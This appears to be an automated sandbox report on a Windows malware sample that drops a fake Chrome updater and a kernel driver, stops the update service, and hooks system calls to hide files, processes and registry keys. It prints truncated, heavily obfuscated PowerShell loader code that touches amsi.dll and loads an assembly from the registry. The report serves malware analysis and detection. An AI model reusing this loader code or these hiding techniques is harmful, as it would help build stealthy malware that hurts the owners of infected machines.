Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: egFMhHSlmf.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: egFMhHSlmf.exe

Static file information: File size 5536856 > 1048576

Source: egFMhHSlmf.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x528e00

Source: egFMhHSlmf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp

Source: egFMhHSlmf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: egFMhHSlmf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: egFMhHSlmf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: egFMhHSlmf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: egFMhHSlmf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($pGTzdTbPDPtdSw,$PKjZFAJMrKtEHtCAQET).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$RRZbMqrVsxPNJwFWd=$AzPrwzsUpDJMwf.Invoke($Null,@([Obj
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+'l'+'er'+
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($rnQeYQPaljIZIy,$BKEqIqCwRefEvWHkEvb).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$VaoZSrEKYRrKpAGDt=$JRxrSkXtFvo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'TW'+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+'l'+[Char](101)+''+[Char](114)+

Obfuscated command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMw
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tvJmJWkkljdL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rUCvlIraVSkSNU,[Parameter(Position=1)][Type]$lDxjOqsFCa)$hzEPfdAIUJU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hzEPfdAIUJU.DefineConstructor('R'+'T'+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rUCvlIraVSkSNU).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'aged');$hzEPfdAIUJU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,V'+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+'',$lDxjOqsFCa,$rUCvlIraVSkSNU).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $hzEPfdAIUJU.CreateType();}$opuJgspdjbNOB=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+[Char](111)+''+[Char](1

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMw
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tvJmJWkkljdL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rUCvlIraVSkSNU,[Parameter(Position=1)][Type]$lDxjOqsFCa)$hzEPfdAIUJU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hzEPfdAIUJU.DefineConstructor('R'+'T'+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rUCvlIraVSkSNU).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'aged');$hzEPfdAIUJU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,V'+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+'',$lDxjOqsFCa,$rUCvlIraVSkSNU).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $hzEPfdAIUJU.CreateType();}$opuJgspdjbNOB=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+[Char](111)+''+[Char](1

Source: C:\Windows\System32\dialer.exe

Code function: 66_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

66_2_0000000140832D30

Source: egFMhHSlmf.exe	Static PE information: section name: .00cfg
Source: updater.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467646D push ebx; retf 0009h	29_2_00007FFD3467657A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD346764FB push ebx; retf 0009h	29_2_00007FFD3467657A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD346719DA pushad ; ret	29_2_00007FFD346719E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467B05C push esp; retf	29_2_00007FFD3467B05D
Source: C:\Windows\System32\conhost.exe	Code function: 32_3_000001D29E8AB0ED push rcx; retf 003Fh	32_3_000001D29E8AB0EE
Source: C:\Windows\System32\winlogon.exe	Code function: 50_3_000002D01659B0ED push rcx; retf 003Fh	50_3_000002D01659B0EE
Source: C:\Windows\System32\lsass.exe	Code function: 64_3_000002D6F14FB0ED push rcx; retf 003Fh	64_3_000002D6F14FB0EE
Source: C:\Windows\System32\dialer.exe	Code function: 65_2_0000000140001394 push qword ptr [0000000140009004h]; ret	65_2_0000000140001403
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD346963B1 push ebx; retf 0009h	67_2_00007FFD346963FA
Source: C:\Windows\System32\conhost.exe	Code function: 68_3_00000146F6AEB0ED push rcx; retf 003Fh	68_3_00000146F6AEB0EE
Source: C:\Windows\System32\svchost.exe	Code function: 69_3_0000014E41FBB0ED push rcx; retf 003Fh	69_3_0000014E41FBB0EE
Source: C:\Windows\System32\dwm.exe	Code function: 70_3_000001D15B06B0ED push rcx; retf 003Fh	70_3_000001D15B06B0EE

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\xptjtnajcbas.sys

Jump to behavior

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	File created: C:\ProgramData\Google\Chrome\updater.exe			Jump to dropped file
Source: C:\ProgramData\Google\Chrome\updater.exe	File created: C:\Windows\Temp\xptjtnajcbas.sys			Jump to dropped file

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

File created: C:\ProgramData\Google\Chrome\updater.exe

Jump to dropped file

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\Temp\xptjtnajcbas.sys

Jump to dropped file

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\dialer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE dialerstager

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
